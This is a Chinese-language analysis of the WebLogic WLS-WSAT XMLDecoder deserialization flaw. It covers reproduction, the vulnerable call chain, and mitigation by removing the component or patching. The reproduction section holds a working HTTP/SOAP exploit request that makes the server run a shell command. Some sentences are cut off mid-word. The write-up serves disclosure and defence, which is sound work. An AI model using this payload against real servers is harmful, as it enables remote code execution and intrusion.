WebLogic WLS-WebServices组件反序列化漏洞分析

Author : Tomato

最近由于数字货币的疯涨，大量机器被入侵后用来挖矿，其中存在不少部署了Weblogic服务的机器，因为Weblogic最近所爆出安全漏洞的exploit在地下广泛流传。回到这个

0x01漏洞复现

测试环境 Weblogic 10.3.6.0/jdk1.6.0_45/Linux

漏洞POC

```
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 127.0.0.1:7001
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close
Content-Type: text/xml
Content-Length: 777

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
       <void class="java.lang.ProcessBuilder">
         <array class="java.lang.String" length="3">
           <void index="0">
             <string>/bin/sh</string>
           </void>
           <void index="1">
             <string>-c</string>
           </void>
           <void index="2">
             <string>id > /tmp/chaitin</string>
           </void>
         </array>
         <void method="start"/>
       </void>
     </java>
   </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>
```

0x02漏洞分析

此次漏洞出现在wls-wsat.war中，此组件使用了weblogic自带的webservices处理程序来处理SOAP请求。然后在

```
weblogic.wsee.jaxws.workcontext.WorkContextServerTube
```

类中获取XML数据传递给XMLDecoder来解析。

解析XML的调用链为

```
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter
```

首先看到weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

获取到localHeader1后传递给readHeaderOld方法，其内容为<work:WorkContext>所包裹的数据，然后继续跟进weblogic.wsee.jaxws.workcontext.WorkContextTub

在此方法中实例化了WorkContextXmlInputAdapter类，并且将获取到的XML格式的序列化数据传递到此类的构造方法中，最后通过XMLDecoder来进行反序列化操作。

关于XMLDecoder的反序化问题13年就已经被人发现，近期再次被利用到Weblogic中由此可见JAVA生态圈中的安全问题是多么糟糕。值得一提的是此次漏洞出现了两处CV

0x03漏洞防御

1. 临时解决方案 根据业务所有需求，考虑是否删除WLS-WebServices组件。包含此组件路径为：

```
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war
```

以上路径都在WebLogic安装处。删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

1. 官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁。

0x04 参考资料

http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html

https://github.com/pwntester/XMLDecoder